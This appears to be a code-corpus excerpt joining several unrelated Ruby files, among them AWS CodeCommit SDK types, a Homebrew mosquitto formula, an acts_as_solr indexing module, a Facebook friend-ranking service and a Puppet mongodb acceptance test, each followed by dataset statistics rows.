# @return [Types::ApprovalRuleTemplate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateApprovalRuleTemplateNameOutput AWS API Documentation
#
class UpdateApprovalRuleTemplateNameOutput < Struct.new(
:approval_rule_template)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdateCommentInput
# data as a hash:
#
# {
# comment_id: "CommentId", # required
# content: "Content", # required
# }
#
# @!attribute [rw] comment_id
# The system-generated ID of the comment you want to update. To get
# this ID, use GetCommentsForComparedCommit or
# GetCommentsForPullRequest.
# @return [String]
#
# @!attribute [rw] content
# The updated content to replace the existing content of the comment.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateCommentInput AWS API Documentation
#
class UpdateCommentInput < Struct.new(
:comment_id,
:content)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] comment
# Information about the updated comment.
# @return [Types::Comment]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateCommentOutput AWS API Documentation
#
class UpdateCommentOutput < Struct.new(
:comment)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of an update default branch operation.
#
# @note When making an API call, you may pass UpdateDefaultBranchInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# default_branch_name: "BranchName", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository to set or change the default branch for.
# @return [String]
#
# @!attribute [rw] default_branch_name
# The name of the branch to set as the default.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateDefaultBranchInput AWS API Documentation
#
class UpdateDefaultBranchInput < Struct.new(
:repository_name,
:default_branch_name)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdatePullRequestApprovalRuleContentInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# approval_rule_name: "ApprovalRuleName", # required
# existing_rule_content_sha_256: "RuleContentSha256",
# new_rule_content: "ApprovalRuleContent", # required
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request.
# @return [String]
#
# @!attribute [rw] approval_rule_name
# The name of the approval rule you want to update.
# @return [String]
#
# @!attribute [rw] existing_rule_content_sha_256
# The SHA-256 hash signature for the content of the approval rule. You
# can retrieve this information by using GetPullRequest.
# @return [String]
#
# @!attribute [rw] new_rule_content
# The updated content for the approval rule.
#
# <note markdown="1"> When you update the content of the approval rule, you can specify
# approvers in an approval pool in one of two ways:
#
# * **CodeCommitApprovers**\: This option only requires an AWS account
# and a resource. It can be used for both IAM users and federated
# access users whose name matches the provided resource name. This
# is a very powerful option that offers a great deal of flexibility.
# For example, if you specify the AWS account *123456789012* and
# *Mary\_Major*, all of the following are counted as approvals
# coming from that user:
#
# * An IAM user in the account
# (arn:aws:iam::*123456789012*\:user/*Mary\_Major*)
#
# * A federated user identified in IAM as Mary\_Major
# (arn:aws:sts::*123456789012*\:federated-user/*Mary\_Major*)
#
# This option does not recognize an active session of someone
# assuming the role of CodeCommitReview with a role session name of
# *Mary\_Major*
# (arn:aws:sts::*123456789012*\:assumed-role/CodeCommitReview/*Mary\_Major*)
# unless you include a wildcard (*Mary\_Major).
#
# * **Fully qualified ARN**\: This option allows you to specify the
# fully qualified Amazon Resource Name (ARN) of the IAM user or
# role.
#
# For more information about IAM ARNs, wildcards, and formats, see
# [IAM Identifiers][1] in the *IAM User Guide*.
#
# </note>
#
#
#
# [1]: https://docs.aws.amazon.com/iam/latest/UserGuide/reference_identifiers.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestApprovalRuleContentInput AWS API Documentation
#
class UpdatePullRequestApprovalRuleContentInput < Struct.new(
:pull_request_id,
:approval_rule_name,
:existing_rule_content_sha_256,
:new_rule_content)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule
# Information about the updated approval rule.
# @return [Types::ApprovalRule]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestApprovalRuleContentOutput AWS API Documentation
#
class UpdatePullRequestApprovalRuleContentOutput < Struct.new(
:approval_rule)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdatePullRequestApprovalStateInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# revision_id: "RevisionId", # required
# approval_state: "APPROVE", # required, accepts APPROVE, REVOKE
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request.
# @return [String]
#
# @!attribute [rw] revision_id
# The system-generated ID of the revision.
# @return [String]
#
# @!attribute [rw] approval_state
# The approval state to associate with the user on the pull request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestApprovalStateInput AWS API Documentation
#
class UpdatePullRequestApprovalStateInput < Struct.new(
:pull_request_id,
:revision_id,
:approval_state)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdatePullRequestDescriptionInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# description: "Description", # required
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] description
# The updated content of the description for the pull request. This
# content replaces the existing description.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestDescriptionInput AWS API Documentation
#
class UpdatePullRequestDescriptionInput < Struct.new(
:pull_request_id,
:description)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request
# Information about the updated pull request.
# @return [Types::PullRequest]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestDescriptionOutput AWS API Documentation
#
class UpdatePullRequestDescriptionOutput < Struct.new(
:pull_request)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdatePullRequestStatusInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# pull_request_status: "OPEN", # required, accepts OPEN, CLOSED
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] pull_request_status
# The status of the pull request. The only valid operations are to
# update the status from `OPEN` to `OPEN`, `OPEN` to `CLOSED` or from
# `CLOSED` to `CLOSED`.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestStatusInput AWS API Documentation
#
class UpdatePullRequestStatusInput < Struct.new(
:pull_request_id,
:pull_request_status)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request
# Information about the pull request.
# @return [Types::PullRequest]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestStatusOutput AWS API Documentation
#
class UpdatePullRequestStatusOutput < Struct.new(
:pull_request)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdatePullRequestTitleInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# title: "Title", # required
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] title
# The updated title of the pull request. This replaces the existing
# title.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestTitleInput AWS API Documentation
#
class UpdatePullRequestTitleInput < Struct.new(
:pull_request_id,
:title)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request
# Information about the updated pull request.
# @return [Types::PullRequest]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdatePullRequestTitleOutput AWS API Documentation
#
class UpdatePullRequestTitleOutput < Struct.new(
:pull_request)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of an update repository description operation.
#
# @note When making an API call, you may pass UpdateRepositoryDescriptionInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# repository_description: "RepositoryDescription",
# }
#
# @!attribute [rw] repository_name
# The name of the repository to set or change the comment or
# description for.
# @return [String]
#
# @!attribute [rw] repository_description
# The new comment or description for the specified repository.
# Repository descriptions are limited to 1,000 characters.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateRepositoryDescriptionInput AWS API Documentation
#
class UpdateRepositoryDescriptionInput < Struct.new(
:repository_name,
:repository_description)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of an update repository description operation.
#
# @note When making an API call, you may pass UpdateRepositoryNameInput
# data as a hash:
#
# {
# old_name: "RepositoryName", # required
# new_name: "RepositoryName", # required
# }
#
# @!attribute [rw] old_name
# The current name of the repository.
# @return [String]
#
# @!attribute [rw] new_name
# The new name for the repository.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateRepositoryNameInput AWS API Documentation
#
class UpdateRepositoryNameInput < Struct.new(
:old_name,
:new_name)
SENSITIVE = []
include Aws::Structure
end
# Information about the user who made a specified commit.
#
# @!attribute [rw] name
# The name of the user who made the specified commit.
# @return [String]
#
# @!attribute [rw] email
# The email address associated with the user who made the commit, if
# any.
# @return [String]
#
# @!attribute [rw] date
# The date when the specified commit was commited, in timestamp format
# with GMT offset.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UserInfo AWS API Documentation
#
class UserInfo < Struct.new(
:name,
:email,
:date)
SENSITIVE = []
include Aws::Structure
end
end
end
| 37.172798 | 379 | 0.657182 |
ac81fdb03bedd2556f501a4446112218444e7190 | 1,143 | module ExchangeRate::Storage
class RecordNotFound < RuntimeError; end
class Repository
def initialize adapter
@adapter = adapter
end
def create date:, code:, rate:
build_record(@adapter.create(
date: fdate(date),
code: fcode(code),
rate: rate
))
end
def truncate!
@adapter.truncate!
end
def find_currency_at date, code
data = @adapter.find_currency_at(fdate(date), fcode(code))
unless data
raise RecordNotFound.new("Could not find exchange rate data for #{code} at #{date}")
end
build_record(data)
end
def find_rates_at date
@adapter.find_rates_at(fdate(date)).map &method(:build_record)
end
def currency_codes
@adapter.currency_codes.sort
end
def date_range
@adapter.date_range
end
private
def build_record attributes
ExchangeRate::CurrencyRate.new(attributes)
end
def fdate date
date = String === date ? Date.parse(date) : date
date.strftime('%Y-%m-%d')
end
def fcode code
code.upcase
end
end
end | 20.410714 | 92 | 0.616798 |
87eccd53e1b740100e1c441fecedb5256d38c87d | 1,237 | require "test_helper"
class ComponentGeneratorTest < Rails::Generators::TestCase
tests MountainView::Generators::ComponentGenerator
destination File.expand_path("../../tmp", __FILE__)
setup :prepare_destination
test "Assert all files are properly created" do
# reset engines
Rails.application.config.app_generators.template_engine nil
Rails.application.config.app_generators.stylesheet_engine nil
Rails.application.config.app_generators.javascript_engine nil
run_generator %w( widget )
assert_file "app/components/widget/_widget.html.erb"
assert_file "app/components/widget/widget.css"
assert_file "app/components/widget/widget.js"
assert_file "app/components/widget/widget.yml"
end
test "Generates different engines" do
Rails.application.config.app_generators.template_engine :haml
Rails.application.config.app_generators.stylesheet_engine :scss
Rails.application.config.app_generators.javascript_engine :coffee
run_generator %w( widget )
assert_file "app/components/widget/_widget.html.haml"
assert_file "app/components/widget/widget.scss"
assert_file "app/components/widget/widget.coffee"
assert_file "app/components/widget/widget.yml"
end
end
| 34.361111 | 69 | 0.78173 |
f851de34ce3f2f842a76b0eaf038f95c6f1aeadb | 58 | class MovieLog < ApplicationRecord
belongs_to :user
end
| 14.5 | 34 | 0.810345 |
e8d0a3320273cf57cbf9045841edec72e4699bc2 | 2,160 | class Mosquitto < Formula
desc "Message broker implementing the MQTT protocol"
homepage "https://mosquitto.org/"
url "https://mosquitto.org/files/source/mosquitto-1.6.12.tar.gz"
sha256 "548d73d19fb787dd0530334e398fd256ef3a581181678488a741a995c4f007fb"
# dual-licensed under EPL-1.0 and EDL-1.0 (Eclipse Distribution License v1.0),
# EDL-1.0 is not in the SPDX list
license "EPL-1.0"
bottle do
cellar :any
sha256 "385bec6fa5729c75da5f86e33be78f38d675fa9fd5a95b5065305fda0253cef0" => :catalina
sha256 "e2c98b06302c46381e05f7b16bb52cfff9f04555ca4b9f5987764e0429018874" => :mojave
sha256 "32fbadbfcbc5a741c650559e056d1d61e0cdc869abc76674e7df5b1f08879e5f" => :high_sierra
end
depends_on "cmake" => :build
depends_on "pkg-config" => :build
depends_on "libwebsockets"
depends_on "[email protected]"
on_linux do
depends_on "util-linux"
end
def install
system "cmake", ".", *std_cmake_args, "-DWITH_WEBSOCKETS=ON"
system "make", "install"
end
def post_install
(var/"mosquitto").mkpath
end
def caveats
<<~EOS
mosquitto has been installed with a default configuration file.
You can make changes to the configuration by editing:
#{etc}/mosquitto/mosquitto.conf
EOS
end
plist_options manual: "mosquitto -c #{HOMEBREW_PREFIX}/etc/mosquitto/mosquitto.conf"
def plist
<<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>ProgramArguments</key>
<array>
<string>#{opt_sbin}/mosquitto</string>
<string>-c</string>
<string>#{etc}/mosquitto/mosquitto.conf</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<false/>
<key>WorkingDirectory</key>
<string>#{var}/mosquitto</string>
</dict>
</plist>
EOS
end
test do
quiet_system "#{sbin}/mosquitto", "-h"
assert_equal 3, $CHILD_STATUS.exitstatus
end
end
| 28.8 | 108 | 0.665278 |
e8a7b579baed2cb133f624401e12b6d88e4c7e6c | 36 | json.partial! "logs/log", log: @log
| 18 | 35 | 0.666667 |
4a9f61c5e98dc730f0d7d180f0300b2fdc5d2570 | 907 | module WillowRun
class Status
# data contains information about the wireless status,
# e.g. signal info, BSSID, port type etc. provided
# by the airport command.
attr_reader :data
# getinfo() get the current information associated
# with the access point that the computer is already
# connected to.
def getinfo
o, s = Open3.capture2("#{AIRPORT} -I")
if s.success?
data = o.split("\n").map(&:strip)
hashed_data = {}
data.each do |info|
key, value = info.gsub(' ','_').split(":_")
key = key.gsub(':','').gsub('.','').downcase
key = "wifi_auth" if key == "80211_auth"
value = Integer(value) rescue value
hashed_data[key] = value
end
@data = OpenStruct.new(hashed_data)
else
# custom error?
return false
end
@data
end
end
end
| 28.34375 | 59 | 0.566703 |
28a96525ed3bf472a085f49e5f036b4bd10baf7c | 5,843 | $: << File.dirname(__FILE__)
require 'atomic'
require 'json'
require 'eventmachine'
require 'em-http-request'
require 'cacheable_lookup'
class FacebookFriendRank < CacheableLookup
PROGRESSIVE_UPDATE_TTL = 30 # seconds
def response(env)
id = params['id']
token = params['token']
progressive = !params.has_key?('async') || params['async'].downcase == 'true' # async by default
@verbose = params.has_key?('verbose') && params['verbose'].downcase == 'true'
# Grab cached sort order
sort_order = cache.get(cache_key(id))
# Compute and cache sort order if not already cached
sort_order = compute_and_cache_results(id, token, progressive) unless sort_order
[200, {'Content-Type' => 'application/json'}, sort_order]
end
def cache_key(id)
"friend_rank::#{id}"
end
def compute_and_cache_results(id, token, progressive)
fiber = Fiber.current
resolver = Generator.new(id, token, :verbose => @verbose)
done = Atomic.new(false)
progress = Atomic.new(nil)
resolver.callback do |r|
puts "Completed friend rank for #{id}"
done.value { true }
cache.set(cache_key(id), r, CACHE_TTL)
fiber.resume(r) if fiber.alive?
end
resolver.errback do |r|
puts "Failure (#{r.class}) on friend rank for #{id}:"
puts "#{r}"
fiber.resume(r) if fiber.alive?
end
resolver.onupdate do |r|
if !done.value && (!progress.value || r[:progress] > progress.value)
progress.update{r[:progress]}
cache.set(cache_key(id), r, PROGRESSIVE_UPDATE_TTL)
end
fiber.resume(r) if progressive && fiber.alive?
end
computed_results = Fiber.yield
raise computed_results if computed_results.is_a?(Exception)
computed_results
end
# Given an FB user ID and valid token, this class 'sorts' friends in order
# of decreasing recent engagement.
#
# Basically in the recent history of the current user's feed, who appeared the
# most often.
FEED_DEPTH = 5 # Number of pages to inspect in the user's feed
PER_PAGE = 100 # Number of feed items per page
class Generator
include EM::Deferrable
def initialize(id, token, options = {})
@onupdate_callbacks = []
pending_calls = Atomic.new(FEED_DEPTH)
calls = Atomic.new([
call_url(token: token)
])
@friend_counts = Atomic.new({})
timer = EM.add_periodic_timer(0.1) do
if !calls.value.empty?
batch = []
calls.update do |v|
batch = v.dup
[]
end
batch.each do |call|
y call if options[:verbose]
http = EM::HttpRequest.new(call).get
http.callback do
data = JSON.parse(http.response)
if pending_calls.value > 1 && data['paging'] && data['paging']['next']
calls.update {|v| v << data['paging']['next']}
else
pending_calls.update { 0 }
end
y data if options[:verbose]
process_data(data['data'])
pending_calls.update {|v| v - 1}
if pending_calls.value <= 0
timer.cancel
@friend_counts.update {|v| v.delete(id.to_i); v}
self.succeed({:data => @friend_counts.value, :progress => 1.0})
end
end
http.errback do
timer.cancel
self.fail http.error
end
end # batch.each
end # if !calls.value.empty
@onupdate_callbacks.each do |c|
c.call({
:data => @friend_counts.value,
:progress => (FEED_DEPTH - pending_calls.value) / FEED_DEPTH.to_f
})
end
end # timer
end # initialize
def call_url(options)
"https://graph.facebook.com/me/feed?access_token=#{options[:token]}&limit=#{PER_PAGE}"
end
def onupdate(&block)
@onupdate_callbacks << block
end
def process_data(data)
if data
data.each do |item|
unless ['status', 'link', 'video', 'photo', 'checkin'].include?(item['type'])
puts "Additional processing req'd on #{item['type']}?"
y item
end
process_common(item)
process_comments(item['comments']) if item['comments'] && item['comments']['count'] > 0
process_likes(item['likes']) if item['likes'] && item['likes']['count'] > 0
end
end
end
def process_common(item)
ids = []
ids << item['from']['id'] if item['from'] && item['from']['id']
# To metadata is either a single entry or an array, handle both
ids << item['to']['id'] if item['to'] && item['to']['id']
ids << item['to']['data'].map{|i| i['id']} if item['to'] && item['to']['data']
# Handle *_tags payloads
item.keys.each do |k|
ids << extract_ids_from_tags(item, k) if k =~ /_tags$/
end
update_friend_counts(ids)
end
def process_comments(comments)
if comments['data']
ids = []
comments['data'].each {|i| ids << i['from']['id']}
update_friend_counts(ids)
end
end
def process_likes(likes)
if likes['data']
ids = []
likes['data'].each {|i| ids << i['id']}
update_friend_counts(ids)
end
end
def extract_ids_from_tags(item, tag_type)
item[tag_type].map do |k,v|
v.is_a?(Enumerable) ? v.map{|i| i['id']} : v
end if item[tag_type]
end
def update_friend_counts(ids)
unless ids.empty?
ids = ids.flatten.compact.map{|i| i.to_i}
@friend_counts.update do |v|
ids.each{|i| v[i] = v[i].to_i + 1}
v
end
end
end
end
end
| 25.627193 | 100 | 0.565634 |
7a0dbb47634cbaef587992c4501b0c1a52914c2e | 6,348 | module ActsAsSolr #:nodoc:
module InstanceMethods
# Solr id is <class.name>:<id> to be unique across all models
def solr_id
"#{self.class.name}:#{record_id(self)}"
end
# saves to the Solr index
def solr_save
return true unless configuration[:if]
if evaluate_condition(configuration[:if], self)
logger.debug "solr_save: #{self.class.name} : #{record_id(self)}"
solr_add to_solr_doc
solr_commit if configuration[:auto_commit]
true
else
solr_destroy
end
end
# remove from index
def solr_destroy
logger.debug "solr_destroy: #{self.class.name} : #{record_id(self)}"
solr_delete solr_id
solr_commit if configuration[:auto_commit]
true
end
# finds records that solr thinks are similar to the current record
def solr_more_like_this
@solr_more_like_this ||= self.class.find_by_solr("id:#{self.class.class_name}\\:#{self.id}", :handler => 'morelikethis', :limit => '5', :morelikethis => {:field_list => ['title,description']})
end
# convert instance to Solr document
def to_solr_doc
logger.debug "to_solr_doc: creating doc for class: #{self.class.name}, id: #{record_id(self)}"
doc = Solr::Document.new
doc.boost = validate_boost(configuration[:boost]) if configuration[:boost]
doc << {:id => solr_id,
solr_configuration[:type_field] => self.class.name,
solr_configuration[:primary_key_field] => record_id(self).to_s}
add_fields(doc)
add_spellword(doc) if configuration[:spellcheck]
logger.debug doc.to_xml.to_s
return doc
end
def add_fields(doc)
self.class.configuration[solr_classname(self.class)][:fields].each do |key, field|
add_field(doc, self, self.class, field)
end
end
def add_field(doc, obj, klass, field, stack = [], multivalued = false)
# add the field to the document, but only if it's not the id field
# or the type field (from single table inheritance), since these
# fields have already been added above.
if field.name.to_s != obj.class.primary_key && field.name.to_s != "type"
if field.index_type == :association
associated_klass = field.name.to_s.singularize
case obj.class.reflect_on_association(field.name).macro
when :has_many, :has_and_belongs_to_many
records = self.send(field.name).to_a
unless records.empty?
if records.first.respond_to?(:to_solr_doc) && stack.size < 6 && records.first.class.configuration[solr_classname(records.first.class)][:fields] && !records.first.class.configuration[solr_classname(records.first.class)][:fields].empty?
stack << field.name
records.each do | ar_record |
ar_record.class.configuration[solr_classname(ar_record.class)][:fields].each do |key, record_field|
add_field(doc, ar_record, ar_record.class, record_field, stack, true)
end
end
stack.pop
else
data = ""
records.each{|r| data << r.attributes.inject([]){|k,v| k << "#{v.first}=#{ERB::Util.html_escape(v.last)}"}.join(" ")}
doc["#{associated_klass}_t"] = data
end
end
when :has_one, :belongs_to
record = obj.send(field.name)
unless record.nil?
if record.respond_to?(:to_solr_doc) && stack.size < 6 && record.class.configuration[solr_classname(record.class)][:fields] && !record.class.configuration[solr_classname(record.class)][:fields].empty?
stack << field.name
record.class.configuration[solr_classname(record.class)][:fields].each do |key, record_field|
add_field(doc, record, record.class, record_field, stack, true)
end
stack.pop
else
data = record.attributes.inject([]){|k,v| k << "#{v.first}=#{ERB::Util.html_escape(v.last)}"}.join(" ")
doc["#{associated_klass}_t"] = data
end
end
end
else #not an association
if field.value
value = field.value.call(obj)
else
value = obj.send("#{field.name}_for_solr")
end
# This next line ensures that e.g. nil dates are excluded from the
# document, since they choke Solr. Also ignores e.g. empty strings,
# but these can't be searched for anyway:
# http://www.mail-archive.com/[email protected]/msg05423.html
unless value.nil? || value.to_s.strip.empty?
[value].flatten.each do |v|
field_name = field.name
field_name = "#{stack.join('_')}_#{field_name}" if stack.size > 0
solr_field = Solr::Field.new("#{field_name}" => ERB::Util.html_escape(value))
solr_field.boost = field.boost
doc << solr_field
end
end
end
end
end
def add_spellword(doc)
if configuration[:spellcheck].is_a?(Array)
spellword = configuration[:spellcheck].collect {| field_name | self.send("#{field_name}_for_solr")}.join(' ')
doc << Solr::Field.new("spellword" => spellword.downcase)
end
end
def validate_boost(boost)
if boost.class != Float || boost < 0
logger.warn "The boost value has to be a float and posisive, but got #{boost}. Using default boost value."
return solr_configuration[:default_boost]
end
boost
end
def condition_block?(condition)
condition.respond_to?("call") && (condition.arity == 1 || condition.arity == -1)
end
def evaluate_condition(condition, field)
case condition
when Symbol: field.send(condition)
when String: eval(condition, binding)
else
if condition_block?(condition)
condition.call(field)
else
raise(
ArgumentError,
"The :if option has to be either a symbol, string (to be eval'ed), proc/method, or " +
"class implementing a static validation method"
)
end
end
end
end
end | 39.185185 | 248 | 0.599086 |
d5f0e1321db2d5b243202e4db36ea43232235501 | 4,045 | require 'spec_helper_acceptance'
describe 'mongodb_database' do
case fact('osfamily')
when 'RedHat'
version = "'2.6.6-1'"
when 'Debian'
version = "'2.6.6'"
end
shared_examples 'normal tests' do |tengen, version|
context "when manage_package_repo is #{tengen} and version is #{version}" do
describe 'creating a database' do
context 'with default port' do
after :all do
puts "XXX uninstalls mongodb because changing the port with tengen doesn't work because they have a crappy init script"
pp = <<-EOS
class {'mongodb::globals': manage_package_repo => #{tengen}, }
-> class { 'mongodb::server':
ensure => absent,
package_ensure => absent,
service_ensure => stopped,
service_enable => false
}
-> class { 'mongodb::client': ensure => absent, }
EOS
apply_manifest(pp, :catch_failures => true)
end
it 'should compile with no errors' do
pp = <<-EOS
class { 'mongodb::globals': manage_package_repo => #{tengen}, version => #{version.nil? ? 'undef' : version} }
-> class { 'mongodb::server': }
-> class { 'mongodb::client': }
-> mongodb::db { 'testdb1':
user => 'testuser',
password => 'testpass',
}
-> mongodb::db { 'testdb2':
user => 'testuser',
password => 'testpass',
}
EOS
apply_manifest(pp, :catch_failures => true)
end
pending("setting password is broken, non idempotent") do
apply_manifest(pp, :catch_changes => true)
end
it 'should create the databases' do
shell("mongo testdb1 --eval 'printjson(db.getMongo().getDBs())'")
shell("mongo testdb2 --eval 'printjson(db.getMongo().getDBs())'")
end
end
# MODULES-878
context 'with custom port' do
after :all do
puts "XXX uninstalls mongodb because changing the port with tengen doesn't work because they have a crappy init script"
pp = <<-EOS
class {'mongodb::globals': manage_package_repo => #{tengen}, }
-> class { 'mongodb::server':
ensure => absent,
package_ensure => absent,
service_ensure => stopped,
service_enable => false
}
-> class { 'mongodb::client': ensure => absent, }
EOS
apply_manifest(pp, :catch_failures => true)
end
it 'should work with no errors' do
pp = <<-EOS
class { 'mongodb::globals': manage_package_repo => #{tengen}, }
-> class { 'mongodb::server': port => 27018 }
-> class { 'mongodb::client': }
-> mongodb::db { 'testdb1':
user => 'testuser',
password => 'testpass',
}
-> mongodb::db { 'testdb2':
user => 'testuser',
password => 'testpass',
}
EOS
apply_manifest(pp, :catch_failures => true)
end
pending("setting password is broken, non idempotent") do
apply_manifest(pp, :catch_changes => true)
end
it 'should create the database' do
shell("mongo testdb1 --port 27018 --eval 'printjson(db.getMongo().getDBs())'")
shell("mongo testdb2 --port 27018 --eval 'printjson(db.getMongo().getDBs())'")
end
end
end
end
end
it_behaves_like 'normal tests', false, nil
it_behaves_like 'normal tests', true, nil # This will give a key-value config file even though the version will be 2.6
it_behaves_like 'normal tests', true, version # This will give the YAML config file for 2.6
end
| 39.656863 | 131 | 0.517182 |
03fac6bec131d8e32ecaff639da64c130471d7c5 | 383 | # frozen_string_literal: true
class IdentifierPolicy < ApplicationPolicy
attr_reader :user_identifier
def initialize(user, users)
raise Pundit::NotAuthorizedError, "must be logged in" unless user
@user = user
@users = users
end
def destroy?
!user.nil?
end
class Scope < Scope
def resolve
scope.where(user_id: user.id)
end
end
end
| 14.185185 | 69 | 0.684073 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.